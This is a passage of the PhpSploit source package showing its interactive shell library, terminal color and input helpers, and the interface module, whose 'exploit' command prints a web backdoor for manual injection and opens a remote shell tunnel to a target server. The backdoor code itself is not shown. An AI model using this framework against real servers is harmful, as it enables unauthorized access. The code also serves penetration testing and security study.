line: return "" return line.splitlines()[0] + "\n" class Parser: def __init__(self): pass def __call__(self, string, lexer=shnake_lex): """Interpret `file` data as a command line sequence. """ line = 0 result = [] buffer = LineBuffer(string) data = "" while True: if not data: data = buffer.readline() if not data: return result line += 1; try: pipeline = lexer(data[:-1], line=line) result += pipeline data = "" if string is None: break except SyntaxWarning as error: addline = buffer.readline() if not addline: raise error data += addline return result parse = Parser() phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/shnake/shell.py000066400000000000000000000410301460155776400234450ustar00rootroot00000000000000r"""A generic command interpreter with multicommand support. The cmdshell library has been initially developped to correctly handle PhpSploit framework's shell interfaces. That being said, it was built in order to stand generic, and usable by any other open-source project. It extends the pretty good 'cmd' library, adding many new features, and a little bit new behaviors. It was built to theorically work on all 3.x python versions. For any bug, issue or enhancement proposal, please contact the author. NOTE: Keep in mind that the cmdshell library extends and wraps the `cmd` python standard library. It means that you must read the `cmd` documentation, in order to correctly understand how cmdshell works, and its new features. NEW FEATURES: ============= Command line interface: * The command line interpreter has been highly enhanced, with a complete overwrite of the parseline() method, to provide the most bash-like features as possible. * Multi commands, separated by semicolons can now be typed. * Multi line command also can be written, like on bash prompt by ending a line with a backslash, prompting the user to continue writing the command in the next line (like bash's PS2). * Strings can now be enquoted, to be processed as a single argument. Command execution: * An argv array of arguments is now passed as do_foo() argument (an all other *cmd related methods) instead of the 'cmd' tuple. * The interpret() method can be used to eval a string as a list of cmdshell commands. It also can be used inside do_* commands. Prompt feature: * Included an input() wrapper (classe's raw_input() method) that makes use of regular expressions to automatically enclose enventual prompt's ANSI color codes with '\01%s\02', fixing readline's prompt length missinterpretation on colored ones. * Since multiline commands are supported, a new variable: prompt_ps2 can be used to change PS2 prompt prefix. * EOFError raised during input() are the same as sending the 'exit' command to the interpreter. Exception handling: * The new onexception() method has been made to handle exceptions. It eases a lot command methods (do_foo()) development, allowing them to simply raise exceptions on error, that will be automatically handled and represented by a standard error line. * An exception `foo` is dispatched to a method `except_foo` if available; the except_ method is passed a single argument, the exception object itself. * The new variable `error` defines the error line template. Command return values: * Adding support for command return values. Instead of the 'cmd' trivial boolean behavior, any command are now able to return anything. The postcmd method manages integer return values, in a similar way than the sys.exit's behavior. * To leave the cmdloop() method, a SystemExit must be raised (with the exit() built_in function for example) Misc behaviors: * Extended the get_names() method, which now can take an instance as argument, limiting the returned attributes to this one. * Unlike `cmd` lib, emptyline()'s default behavior defaultly does nothing instead of repeating the last typed command (bash like). * Typing 'EOF' to leave is not used on cmdshell, consider using 'exit' and raise SystemExit instead. * The classe's default() method had been enhanced, writing command representation in case of unprintable chars, and also takes use of the new 'nocmd' variable. * When left, the cmdloop() methods acts exactly in the same way that command return values behavior, meaning that the return value will be an interger anyway, 0 in case of no error. Limitations & Other changes: * Unlike 'cmd', the cmdshell library do not provides support for command line interpretation without input() built-in function. * Unlike 'cmd', cmdshell is NOT compatible with python 2.x. """ import sys import re import cmd from .lexer import lex as shnake_lex from .parser import parse as shnake_parse __author__ = "nil0x42 " class Shell(cmd.Cmd): prompt = "shnake_shell > " prompt_ps2 = "> " nocmd = "*** Unknow command: %s" error = "*** Error raised: %s" def __init__(self, completekey='tab', stdin=None, stdout=None): self.old_completer = None self.completion_matches = None super().__init__(completekey=completekey, stdin=stdin, stdout=stdout) def raw_input(self, prompt): r"""An input() wrapper that fixes readline ansi colored prompt length missinterpretation by wrapping terminal ansi codes as "ANSI" = "\x01ANSI\x02". """ if not self.stdout.isatty() or not self.stdin.isatty(): return input() # if not readline, return prompt as it is try: __import__("readline") except ImportError: return input(prompt) # else, fix readline length missinterpretation pattern = "\x01?(\x1b\\[((?:\\d|;)*)([a-zA-Z]))\x02?" return input(re.sub(pattern, "\x01\\1\x02", prompt)) @staticmethod def lex(string, line=1): """return a list of argv lists from `string` """ command_list = shnake_lex(string, line) result = [] for command in command_list: command = [str(arg) for arg in command if isinstance(arg, str)] result.append(command) return result def cmdloop(self, intro=None): """Repeatedly issue a prompt, accept input, parse an initial prefix off the received input, and dispatch to action methods, passing them the remainder of the line as argument. """ # try to load readline (if available) if self.completekey: try: import readline self.old_completer = readline.get_completer() readline.set_completer(self.complete) readline.parse_and_bind(self.completekey+": complete") except ImportError: pass # print intro message (if any) if intro: self.intro = intro if self.intro: self.stdout.write(str(self.intro) + "\n") # start command loop try: self.preloop() # pre command hook method while True: try: line = self.raw_input(self.prompt) except EOFError: self.stdout.write("\n") line = "exit" except BaseException as err: # nothing to interpret on exception self.onexception(err) continue try: self.interpret(line, interactive=True) # system exit is the correct way to leave loop except SystemExit as err: return err.code # restore readline completer (if used) finally: if self.completekey: try: import readline readline.set_completer(self.old_completer) except ImportError: pass self.postloop() # post command hook method def interpret(self, commands, precmd=None, onecmd=None, postcmd=None, interactive=False, fatal_errors=False): """Interpret `commands` as a list of commands. `commands` can be a multi command raw string or a preformated commands list. If str, it is automatically parsed. precmd, onecmd and postcmd funcs can be overwritten from arguments. If None, they default to their respective class methods. The `interactive` argument allows us telling to parseline() method call if we are running interactively. The `fatal_errors` argument, is True, leaves as soon as an interpreted command returns an error (non zero). This behavior is similar to bash's 'set -e' option. Otherwise, if this argument is set to False, the function returns the value returned by last executed command in the list. """ # is commands is str, use self.parseline if isinstance(commands, str): commands = self.parseline(commands, interactive=interactive) if precmd is None: precmd = self.precmd if onecmd is None: onecmd = self.onecmd if postcmd is None: postcmd = self.postcmd retval = 0 for argv in commands: try: argv = precmd(argv) retval = onecmd(argv) retval = postcmd(retval, argv) if fatal_errors: errcode = self.return_errcode(retval) if errcode != 0: return errcode # on exit, let return_errcode() handle error message if any, # then raise SystemExit with the proper return code number. except SystemExit as err: raise SystemExit(self.return_errcode(err.code)) return self.return_errcode(retval) def postcmd(self, retval, argv): """Hook method executed just after a command dispatch is finished. """ argv = argv return retval def parseline(self, string, interactive=True): """Parse `string` into an ordered list of `argv`, each of them representing a single command's argument list. Example: >>> string = "echo -e 'foo bar'\\nls /tmp; help" >>> for argv in parseline(string): ... print(argv) ... ... ["echo", "-e", "foo bar"] ["ls", "/tmp"] ["help"] """ if not interactive: return shnake_parse(string, lexer=self.lex) try: try: return self.lex(string) except SyntaxWarning as err: while True: try: string += "\n" + self.raw_input(self.prompt_ps2) return self.lex(string) except EOFError: print('') raise err except SyntaxWarning as err: pass except BaseException as err: self.onexception(err) return [] def onecmd(self, argv): """Interpret the argument as though it had been typed in response to the prompt. This may be overridden, but should not normally need to be; see the precmd() and postcmd() methods for useful execution hooks. The return value is a flag indicating whether interpretation of commands by the interpreter should stop. """ # call emptyline() if no arguments if not argv: return self.emptyline() # get command function try: cmdrun = getattr(self, "do_" + argv[0]) except AttributeError: cmdrun = self.default # execute it, and handle error representation if fails: try: return cmdrun(argv) except BaseException as err: return self.onexception(err) def onexception(self, exception): """Hook method executed when a python exception is raised on command execution or prompt interface. It is called each time the prompt, or a command beeing executed by onecmd() raises an exception. For custom error handling, special methods except_ERR() may be defined. See the except_KeyboardInterrupt() method for a concrete example. If exception's name except_*() method exists, it is executed, and `exception` becomes the method's return value. If `exception` is an Exception object, is is converted to a tuple (name, str(exception)). `exception` is then returned. """ # try to call concerned except_* hooks in the order for cls in exception.__class__.mro()[:-1]: hook = 'except_' + cls.__name__ if hasattr(self, hook): exception = getattr(self, hook)(exception) break if isinstance(exception, BaseException): name = type(exception).__name__ # dirty special cases because finding the proper regex is boring... if name == "IsADirectoryError": name = "Is A Directory Error" else: name = re.sub('([A-Z][a-z])', ' \\1', name).strip() exception = (name,) + exception.args return self.return_errcode(exception) def return_errcode(self, code): """Called by onecmd() and cmdloop() methods, to manage commands and instance return codes. It acts like the sys.exit method, converting None returns values to 0, writting error (prepended with self.error str) if it is a string, in which case it then returns 1. """ if code is None or isinstance(code, bool): code = 1 if code is False else 0 if isinstance(code, tuple): code = ': '.join(str(e) for e in code) if not isinstance(code, int): for line in str(code).splitlines(1): self.stdout.write(self.error % line) self.stdout.write("\n") code = 1 return code def emptyline(self): """Called when an empty line is entered in response to the prompt. By default, it does nothing (unlike 'cmd' parent lib's behavior) """ return def default(self, argv): """Called on an input line when the command prefix is not recognized. If this method is not overridden, it prints an error message and returns. """ arg0_repr = "${!r}".format(argv[0]) arg0 = argv[0] if argv[0] == arg0_repr[2:-1] else arg0_repr self.stdout.write((self.nocmd + '\n') % arg0) # standard return code on bash at `command not found` error. return 127 def complete(self, text, state): """Return the next possible completion for 'text'. If a command has not been entered, then complete against command list. Otherwise try to call complete_ to get list of completions. """ if state == 0: import readline origline = readline.get_line_buffer() line = origline.lstrip() stripped = len(origline) - len(line) begidx = readline.get_begidx() - stripped endidx = readline.get_endidx() - stripped # get the current command's name (argv[0]) try: name = self.parseline(line)[-1][0] except: name = None # if the cmd name has been entirely typed, then use it's dedicated # complete_*() method, or fallback to completedefault(). if begidx > 0: try: compfunc = getattr(self, 'complete_'+name) except AttributeError: compfunc = self.completedefault # if the cmd name is being typed, completion must suggest the # available commands list, aka completenames() else: compfunc = self.completenames self.completion_matches = compfunc(text, line, begidx, endidx) try: return self.completion_matches[state] + ' ' except IndexError: return None def get_names(self, obj=None, filter=''): """Pull in 'obj' base class attributes (defaults to self). 'filter' ads possibility to add a word prefix condition, auto stripped from returned elements. >>> get_names(filter='do_') ['help', 'exit'] """ if obj is None: obj = self attrs = dir(obj.__class__) return [e[len(filter):] for e in attrs if e.startswith(filter)] def do_help(self, argv): 'List available commands with "help" or detailed help with "help cmd".' argv.append('') super().do_help(argv[1]) def do_exit(self, argv): """Leave the shell interface""" argv = argv self.stdout.write("*** Command shell left with 'exit'\n") sys.exit() def except_SystemExit(self, exception): """On SystemExit exceptions (aka sys.exit() call), simply raise the same exception, sending a leaving query to the cmdloop() class. """ raise exception def except_KeyboardInterrupt(self, exception): """It writes a newline, then returns its own value to keep onexception()'s error printing. """ self.stdout.write('\n') return exception phpsploit-3.2+git20240329.aea961d/src/ui/000077500000000000000000000000001460155776400173615ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/ui/__init__.py000066400000000000000000000000531460155776400214700ustar00rootroot00000000000000"""Phpsploit User Interface MetaPackage""" phpsploit-3.2+git20240329.aea961d/src/ui/color.py000066400000000000000000000107551460155776400210610ustar00rootroot00000000000000"""ANSI Terminal colors handler""" __all__ = ["colorize", "decolorize", "diff"] import re import difflib ANSI = {"reset": "\x1b[0m", # reset everything "bold": "\x1b[1m", # bold/bright style "dim": "\x1b[2;3m", # dim or italic style "lined": "\x1b[4m", # underline "blink": "\x1b[5m", # blinking style "invert": "\x1b[7m", # invert foreground/backgroung "basic": "\x1b[22m", # set normal style # COLOR CODES "black": "\x1b[30m", # black color "red": "\x1b[31m", # red color "green": "\x1b[32m", # green color "yellow": "\x1b[33m", # yellow color "blue": "\x1b[34m", # blue color "pink": "\x1b[35m", # pink/magenta "cyan": "\x1b[36m", # cyan color "white": "\x1b[37m", # white color "normal": "\x1b[39m"} # default color def colorize(*args): """Takes single or multiple strings as argument, and colorize them. Syntax: * Ansi color/style can be defined by providing a CamelCase formated color code that start with '%' and can contain multiple codes. For example: "%BoldYellow" will return "\\x1b[1m\\x1b[33m". * Any string that do not strictly matches the syntax above is left as it is. Behavior: * If at least one of the provided arguments is a standard string (aka non ansi color code), then the result will be a concatenation of all the arguments, with formated ANSI codes. * If the last argument is a standard string, and at least one argument was a color code, an ANSI reset is automatically added to its end. * If multiple arguments are given, and all of them are ANSI color codes, a tuple for each is then returned instead of a concatenated result string. Examples: >>> colorize('%DimPink', 'Hello ', '%Bold', 'world !') '\\x1b[2,3mHello \\x1b[1mworld !\\x1b[0m' >>> colorize('%DimPink', 'Hello ', '%Bold', 'world !', '%DimNormal') '\\x1b[2,3mHello \\x1b[1mworld !\\x1b[2,3m\\x1b[39m' >>> colorize('%Invert') '\\x1b[7m' >>> colorize('%Invert', '%LinedWhite') ('\\x1b[7m', '\\x1b[4m\\x1b[37m') >>> colorize('Hello world !') 'Hello world !' >>> colorize('Hello', 'world !') 'Hello world !' """ colors = 0 # the number of color code args strings = 0 # the number of standard strin args result = [] # the final result for idx, arg in enumerate(args): # try to do a CamelCase split to check if arg is an ansi color code arg = str(arg) split = re.split('([A-Z][a-z]+)', arg[1:]) split = [e.lower() for e in split if e] # if the arg is an ansi color code: if not [e for e in split if e not in ANSI] and arg.startswith('%'): # add the corresponding ANSI codes result.append(''.join([ANSI[c] for c in split])) colors += 1 # if the arg is a standard string: else: # if triggered arg is the last one, and is a common string, # and at least one color has been set before, auto add reset if colors >= 1 and idx == len(args)-1: arg += ANSI['reset'] # add the string as it is to the resulting list result.append(arg) strings += 1 # single or absent argument returns a string in all cases if len(result) < 2: return ''.join(result) # if only colors were requested, return a tuple of them if not strings: return tuple(result) # else return a concatenated string: return ''.join(result) def decolorize(string): """Returns a colorless version of the given string. Based on a regular expression that removes any standard ANSI code. Example: >>> decolorize('string \\x1b[2m\\x1b[32mcolor !\\x1b[0m') 'string color !' """ regex = "\x01?\x1b\\[((?:\\d|;)*)([a-zA-Z])\x02?" return re.sub(regex, "", str(string)) def diff(old, new, display=True): """Nice colored diff implementation """ if not isinstance(old, list): old = decolorize(str(old)).splitlines() if not isinstance(new, list): new = decolorize(str(new)).splitlines() line_types = {' ': '%Reset', '-': '%Red', '+': '%Green', '?': '%Pink'} if display: for line in difflib.Differ().compare(old, new): if line.startswith('?'): continue print(colorize(line_types[line[0]], line)) return old != new phpsploit-3.2+git20240329.aea961d/src/ui/console.py000066400000000000000000000055111460155776400213770ustar00rootroot00000000000000"""Run a python console at runtime from Phpsploit """ __all__ = ["Console"] import traceback # alias exit() to prevent I/O fd closure bug on Console() interpreter # pylint: disable=redefined-builtin,unused-import from sys import exit from ui.color import colorize from decorators.isolate_readline_context import isolate_readline_context class Console: """Create a python console to be run at phpsploit runtime In order of preference, it tries to run 'bpython' then 'IPython'. If none of these interpreters can be found, it defaults to default_console() method. >>> c = Console("Python console") >>> c() Python console > print(len([1,2,3])) 3 """ def __init__(self, banner="Python console"): self.banner = banner @isolate_readline_context def __call__(self): """Execute the best available python console This method trie to run the best available python console (bpython and ipython). Otherwise, it fallbacks to default_console() method. Finally, the chosen console method is executed. NOTE: This method is wrapped with the `@isloate_io_context` decorator. """ try: import bpython del bpython console = self.bpython_console except ImportError: try: import IPython del IPython console = self.ipython_console except ImportError: console = self.default_console return console() def default_console(self): """Simple python console interpreter Used as fallback when neither of other consoles are available It basically consists in an exec(input("> ")) loop """ print(colorize("%BoldWhite", self.banner)) while True: try: # pylint: disable=exec-used exec(input("> ")) except EOFError: print() return 0 except SystemExit as e: if e.code is not None: print(e.code) return int(bool(e.code)) except BaseException as e: e = traceback.format_exception(type(e), e, e.__traceback__) e.pop(1) print(colorize("%Red", "".join(e))) def bpython_console(self): """bpython console interpreter https://bpython-interpreter.org/ """ # pylint: disable=import-error import bpython bpython.embed(banner=self.banner) return 0 def ipython_console(self): """IPython console interpreter https://ipython.org/ """ # pylint: disable=import-error import IPython print(colorize("%BoldWhite", self.banner)) IPython.embed() return 0 phpsploit-3.2+git20240329.aea961d/src/ui/input/000077500000000000000000000000001460155776400205205ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/ui/input/__init__.py000066400000000000000000000005251460155776400226330ustar00rootroot00000000000000"""PhpSploit User Input (STDIN) Handler This package provides UI features relaed to Standard Input """ __all__ = ["Expect", "isatty"] import sys from .expect import Expect def isatty() -> bool: """Return whether input is an 'interactive' stream. Return False if it can't be determined. """ return sys.__stdin__.isatty() phpsploit-3.2+git20240329.aea961d/src/ui/input/expect.py000066400000000000000000000205551460155776400223710ustar00rootroot00000000000000"""Easily ask for user choice from terminal""" __all__ = ["Expect"] import os import sys import signal from decorators.isolate_readline_context import isolate_readline_context from ..color import colorize from ..output import isatty class Expect: # pylint: disable=too-few-public-methods """Expect some user input, and provide response related to the instance configuration variables. It instantiates an input query, according the configured variables (detailed below). To send it to input, use __call__() (python magic method). NOTE: Since the default prompted question can be defined in object instanciation, it also can be overwritten by giving a string as argument on the __call__() method: >>> choices = ['children', 'teenager'] >>> ask = Expect(expect=choices, case_sensitive=True) >>> ask.question = 'How young is your son ?' >>> ask() # asks default question (set just above) >>> ask('How young are you ?') # overwrite default question VARIABLES: * expect (default: None) The expected response handler, may be bool, list, str or None. - If set to None (default), then any response, even if empty will be accepted, and returned as it is. - If set to bool, aka True or False, a [Yes|No] response is expected. A boolean will also be returned, True, is response is empty or the same as expected, False otherwise. For example, `Expect(False)('are you ready')` will return True is response is No (starts with 'n') or empty, and returns False if the response is Yes (starts with 'y') because False, aka No was expected. - If set to a string, the question will be re-asked while the expected string has not been typed. - If set to a list, then any one of these elements is expected, and the matching one is returned. NOTE: In this mode, the first list's element is automatically considered as the default one. * question (default: '') The asked question string, prefixing input expectation. If not empty, the input question's magic tag (BoldPink '[?]') automatically prefixes it. * timeout (default: 0) Integer allowing to define a time limit to the expected input. It time is reached, then the default choice will be returned, bypassing user input expectation. If zero, timeout is disabled. * default (default: None) If not None, this attribute overwrites the default expected input if the user left it empty, or if the current input is not a tty. * case_sensitive (default: False) Since defaulty set to False, the default behavior is to be case insensitive about user response. For example, for bool expectations whose response must be 'y' or 'n', uppercase strings will also be accepted. Set it to True to claim strict responses. * append_choices (default: True) Indicates whether an expected choices representation must be appended to the question string or no. Defaultly, it is set to True, so expecting a reponse like this: `Expect(expect=False, append_choices=True)('Exit now ?')` will prompt the user for: "[?] Exit now ? [y/N] ", with default choice (here False, aka "N") ansi bolded. * skip_interrupt (default: True) If set to True (default), it prevents KeyboardInterrupt and EOFError interruptions, and re ask the question instead of raising them. NOTE: If stdin is detached from user tty (aka, if the command is being interpreted without interface), then the default response is automatically triggered, as if it was typed by the user. """ def __init__(self, expect=None, question='', timeout=0, default=None, case_sensitive=False, append_choices=True, skip_interrupt=True): self.expect = expect self.question = str(question) self.timeout = int(timeout) self.default = default self.case_sensitive = bool(case_sensitive) self.append_choices = bool(append_choices) self.skip_interrupt = bool(skip_interrupt) @isolate_readline_context def __call__(self, question=None): # use custom question, or fallback to the default one. if question is not None: question = str(question) else: question = self.question # auto prepend question magic tag: "[?]" (if non empty): if question: question = "[?] " + question.lstrip() expect = self.expect default = '' # handle yes/no choice (expect=bool) if isinstance(expect, bool): expect = ['y', 'n'] default = expect[not self.expect] # handle multi choice (expect=list) elif isinstance(expect, list) and expect: default = expect[0] # handle single choice (expect=str): elif isinstance(expect, str): expect = [expect] # self.default overwites default if not None if self.default is not None: default = str(self.default) # clean out default = str(default).strip() if expect is not None: expect = [str(e).strip() for e in expect] # case sensitivity if not self.case_sensitive: default = default.lower() if expect is not None: expect = [e.lower() for e in expect] # handle append_choices query suffix: append_choices = self.append_choices if append_choices and expect is not None: suffix = colorize('%BoldCyan', ' [') sep = '/' if '/' not in str(expect) else ' || ' sep = colorize('%BoldCyan', sep) items = [e.strip() for e in expect if e.strip()] for index, item in enumerate(items): if default == item: if not self.case_sensitive: item = item.upper() items[index] = colorize('%BoldWhite') + item else: if not self.case_sensitive: item = item.lower() items[index] = colorize('%BasicWhite') + item suffix += sep.join(items) + colorize('%BoldCyan', '] ') if items: question = question.rstrip() + suffix # force timeout = 1 if not interactive: if isatty(): timeout = self.timeout else: timeout = 1 # ask loop while True: response = None # start timeout that calls illegal lambda (raising TypeError) signal.signal(signal.SIGALRM, lambda: 0) signal.alarm(timeout) sys.stdout.write(question) sys.stdout.flush() try: response = sys.stdin.readline() if os.linesep in response: response = response.replace(os.linesep, "") else: raise EOFError except BaseException as e: print() # if skip interrupt, just reloop, otherwise, raise if type(e) in (EOFError, KeyboardInterrupt): if self.skip_interrupt and isatty(): continue else: raise e # if timeout reached, use `default` as response elif type(e) == TypeError: response = default # normally raise unplanned exceptions else: raise e signal.alarm(0) # if None is expected, any response is accepted if expect is None: if default and not response: return str(default) return response # use default response if not given if not response: response = default if not self.case_sensitive: response = response.lower() if response in expect: # if boolean was expected, return True in the case # response is the same as expected. False otherwise if isinstance(self.expect, bool): resp = response == "y" return resp == self.expect # just return response otherwise return response phpsploit-3.2+git20240329.aea961d/src/ui/interface.py000066400000000000000000001176261460155776400217100ustar00rootroot00000000000000"""PhpSploit shell interface Handles general behavior of Phpsploit interactive command-line interface. """ # pylint: disable=too-many-lines # pylint: disable=too-many-public-methods __all__ = ["Shell"] import os import traceback import shnake import core from core import session, tunnel, plugins, encoding import datatypes from datatypes import Path import ui.output from ui.color import colorize import ui.input import utils.path READLINE_COMPLETER_DELIMS = ' \t\n`~!#$%^&*()=+[{]}\\|;:\'",<>?' class Shell(shnake.Shell): """PhpSploit shell interface""" prompt = colorize('%Lined', 'phpsploit', '%Reset', ' > ') _nocmd = "[-] Unknown Command: %s" nohelp = "[-] No help for: %s" error = "[!] %s" bind_command = None def __init__(self): self.nocmd = None self.last_exception = None super().__init__() try: import readline readline.set_history_length(session.Hist.MAX_SIZE) readline.set_completer_delims(READLINE_COMPLETER_DELIMS) except ImportError: pass def init(self): """phpsploit interface init""" # load phpsploit plugins list plugins.blacklist = self.get_names(self, "do_") plugins.reload(verbose=False) # pylint: disable=arguments-differ def precmd(self, argv): """Handle pre command hooks such as session aliases""" # Make 'nocmd' error message explicit if tunnel is connected self.nocmd = self._nocmd if tunnel: self.nocmd += " (use `run` plugin to run remote command)" # Reset backlog before each command except backlog if self.bind_command: if len(argv) == 1 and argv[0] == "exit": # self.bind_command = None pass else: argv.insert(0, self.bind_command) if argv and argv[0] != "backlog": self.stdout.backlog = "" # Alias Handler try: cmds = self.parseline(session.Alias[argv[0]]) except (KeyError, IndexError): return argv self.interpret(cmds[:-1], precmd=(lambda x: x)) return cmds[-1] + argv[1:] def onecmd(self, argv): if "id" in session.Compat and session.Compat["id"] == "v1": print("[-] Warning: You are using a v1-compatible session file") print("[-] please upgrade $TARGET with new $BACKDOOR") print("[-] and run `session upgrade` when done.") print("") print("[#] %s: Running..." % self.debug_cmdrepr(argv)) return super().onecmd(argv) def postcmd(self, retval, argv): """Post command hook Redraw shell prompt """ int_retval = self.return_errcode(retval) print("[#] %s: Returned %d" % (self.debug_cmdrepr(argv), int_retval)) # redraw shell prompt after each command prompt_elems = ["%Lined", "phpsploit"] if tunnel: # if remote shell, add target hostname to prompt prompt_elems += ["%Reset", "(", "%BoldRed", tunnel.hostname, "%Reset", ")"] if self.bind_command: # If a command is binded to the prompt prompt_elems += ["%ResetBoldWhite", " #", self.bind_command] prompt_elems += ["%Reset", " > "] self.prompt = colorize(*prompt_elems) return retval def completenames(self, text, line, *_): """Add aliases and plugins for completion""" argv = line.split() if (len(argv) == 2 and line and line[-1] == " ") or len(argv) > 2: return [] result = super().completenames(text, line, *_) result += list(session.Alias) if tunnel: result += list(plugins) return [x for x in list(set(result)) if x.startswith(text)] def onexception(self, exception): """Add traceback handler to onexception""" exc = traceback.format_exception(type(exception), exception, exception.__traceback__) # a small patch for traceback from plugins, remove trash lines for idx, line in enumerate(exc): if ('File ""' in line and '_call_with_frames_removed' in line): exc = exc[(idx + 1):] header = "Traceback (most recent call last):" exc.insert(0, header + os.linesep) break self.last_exception = "".join(exc).splitlines() for line in self.last_exception: print(colorize("[#] ", "%Red", line)) return super().onexception(exception) def default(self, argv): """Fallback to plugin command (if any)""" if argv[0] in plugins.keys(): if tunnel: return plugins.run(argv) self.nocmd = "[-] Must connect to run `%s` plugin (`help exploit`)" return super().default(argv) ################# # COMMAND: exit # @staticmethod def complete_exit(text, line, *_): """autocompletion for `exit` command""" argv = line.split() if (len(argv) == 2 and line[-1] == " ") or len(argv) > 2: return [] keys = ["--force"] return [x for x in keys if x.startswith(text)] def do_exit(self, argv): """Quit current shell interface SYNOPSIS: exit [--force] OPTIONS: --force When called to leave the framework, this option forces exit, avoiding warning message if current session has not been saved to a file, or has changed since last save. DESCRIPTION: If current phpsploit session is connected to $TARGET, this command disconnects the user from remote session. Otherwise, if the interface is not connected, this command leaves the phpsploit framework. """ if len(argv) == 2 and argv[1] == "--force": force_exit = True elif len(argv) == 1: force_exit = False else: self.interpret("help exit") return False if not self.stdout.isatty() and not self.stdin.isatty(): force_exit = True if self.bind_command: self.bind_command = None elif tunnel: tunnel.close() else: if not force_exit: try: session_changed = session.diff(None) except OSError: session_changed = bool(tunnel.has_been_active()) if session_changed: msg = "Do you really want to exit without saving session ?" if ui.input.Expect(False)(msg): return False exit() return True # make pylint happy #################### # COMMAND: corectl # @staticmethod def complete_corectl(text, line, *_): """autocompletion for `corectl` command""" argv = line.split() if (len(argv) == 2 and line[-1] == " ") or len(argv) > 2: return [] keys = ["stack-traceback", "reload-plugins", "python-console", "display-http-requests"] return [x for x in keys if x.startswith(text)] def do_corectl(self, argv): """Advanced core debugging utils SYNOPSIS: corectl CORECTL TOOLS: -------------- stack-traceback Print the full track trace of last python exception. Error messages (lines that starts with a `[!]` red tag) are generated by a thrown exception. The `stack-traceback` tool displays the full python stack trace of the last thrown exception. This command is useful for debugging purposes. NOTE: stack traceback is NOT saved in session files reload-plugins Reload all phpsploit plugins. By default, the list of phpsploit plugins is loaded once only, when the framework starts. Therefore, plugin developpers may want to reload the plugins in order to be able to test their plugin modifications without having to restart the framework each time. python-console Run a python interpreter. The python console interpreter is a good gateway for deep debugging, or to get help about a phpsploit module, class, object, such as the plugin developpers API. For help with the API, run the following commands inside the python console: >>> import api >>> help(api) display-http-requests Display HTTP(s) request(s) for debugging Shows all HTTP(s) request(s) that were sent in the last remote command execution. NOTE: http requests are NOT saved in session files WARNING: don't works with HTTPS requests (see issue #29 on github) """ argv.append('') if argv[1] == "stack-traceback": if not self.last_exception: print("[-] Exception stack is empty") return False for line in self.last_exception: print(colorize("%Red", line)) return True if argv[1] == "reload-plugins": return plugins.reload(verbose=True) if argv[1] == "python-console": from ui import console console = console.Console() console.banner = "Phpsploit corectl: python console interpreter" return console() if argv[1] == "display-http-requests": requests = tunnel.get_raw_requests() if not requests: print("[-] From now, phpsploit didn't " "sent any HTTP(s) request") return False print("[*] Listing last payload's HTTP(s) requests:\n") for num, request in enumerate(requests, 1): print("#" * 78) print("### REQUEST %d" % num) print("#" * 78) print(encoding.decode(request)) return True self.interpret("help corectl") return False #################### # COMMAND: history # def do_history(self, argv): """Command line history SYNOPSIS: history [] DESCRIPTION: Returns a formatted string giving the event number and contents for each of the events in the history list except for current event. If [COUNT] is specified, only the [COUNT] most recent events are displayed. > history - Display the full history of events. > history 10 - Display last 10 commands of the history. """ import readline argv.append('9999999999') try: count = int(argv[1]) except ValueError: return self.interpret("help history") last = readline.get_current_history_length() while last > session.Hist.MAX_SIZE: readline.remove_history_item(0) last -= 1 first = last - count if first < 1: first = 1 for i in range(first, last): cmd = readline.get_history_item(i) print("{:4d} {:s}".format(i, cmd)) #################### # COMMAND: exploit # @staticmethod def complete_exploit(text, line, *_): """autocompletion for `exploit` command""" argv = line.split() if (len(argv) == 2 and line[-1] == " ") or len(argv) > 2: return [] keys = ["--get-backdoor"] return [x for x in keys if x.startswith(text)] def do_exploit(self, argv): """Spawn a shell from target server SYNOPSIS: exploit [--get-backdoor] DESCRIPTION: Connect to remote target URL (`help set TARGET`). If backdoor (`exploit --get-backdoor`) is correctly injected in target URL, phpsploit spawns a remote shell. OPTIONS: --get-backdoor Display current backdoor code, as it should be injected on target URL. """ obj = str(session.Conf.BACKDOOR(call=False)) obj = obj.replace("%%PASSKEY%%", session.Conf.PASSKEY().upper()) if len(argv) > 1: if argv[1] == "--get-backdoor": print(obj) return True self.interpret("help exploit") return False print("[*] Current backdoor is: " + obj + "\n") if tunnel: m = ("[*] Use `set TARGET ` to use another url as target." "\n[*] To exploit a new server, disconnect from ÂĢ{}Âģ first.") print(m.format(session.Env.HOST)) return False if session.Conf.TARGET() is None: m = ("To run a remote tunnel, the backdoor shown above must be\n" "manually injected in a remote server executable web page.\n" "Then, use `set TARGET ` and run `exploit`.") print(colorize("%BoldCyan", m)) return False return tunnel.open() # it raises exception if fails ################# # COMMAND: rtfm # @staticmethod # pylint: disable=unused-argument def do_rtfm(argv): """Read the fine manual SYNOPSIS: rtfm DESCRIPTION: Display phpsploit user manual. If available, the `man` command is used for display. Otherwise, a text version of the man page is displayed in phpsploit interface. """ man = Path(core.BASEDIR, 'man/phpsploit.1') cmd = 'man phpsploit 2>/dev/null || man %r 2>/dev/null' % man if os.system(cmd) != 0: txt_man = Path(core.BASEDIR, 'man/phpsploit.txt') print(txt_man.read()) #################### # COMMAND: session # @staticmethod def complete_session(text, line, *_): """autocompletion for `session` command""" argv = line.split() if (len(argv) == 2 and line[-1] != " ") or len(argv) == 1: keys = ['save', 'diff', 'upgrade'] if tunnel: keys.append("load") return [x for x in keys if x.startswith(text)] if (len(argv) == 2 and line[-1] == " ") \ or (len(argv) == 3 and line[-1] != " "): if argv[1] in ["save", "load", "diff"]: if os.path.isfile(session.File): return [session.File] return [] @staticmethod def do_session(argv): """phpsploit session handler SYNOPSIS: session [load|diff] [] session save [-f] [] session upgrade DESCRIPTION: The `session` core command handles phpsploit sessions. Sessions can be considered as phpsploit instances. They handle current configuration settings, environment vars, command aliases, and remote tunnel attributes (if any). They can be saved to a file for further use. USAGE: * session [] Show a nice colored representation of FILE session content. If called without argument, current session if displayed. * session diff [] Show a textual representation of the differences between FILE and current session. If FILE is not set, the diff between session's original and current states if shown. * session save [-f] [] Save current session state in FILE. If FILE is not set, the session is saved to it's original path location. It still not bound to a file, default location is '$SAVEPATH/phpsploit.session'. NOTE: The '-f' option, if used, saves the session without asking user confirmation if file already exists. * session load [] Try to load session from FILE. It unset, try to load session from './phpsploit.session' * session upgrade If current session file is in v1-compatible mode, the request handler is limited to POST method and does not supports multi request and stealth modules. This command shall be used to upgrade current session AFTER you upgraded the remote $TARGET with new-style phpsploit backdoor (which can be obtained with `exploit 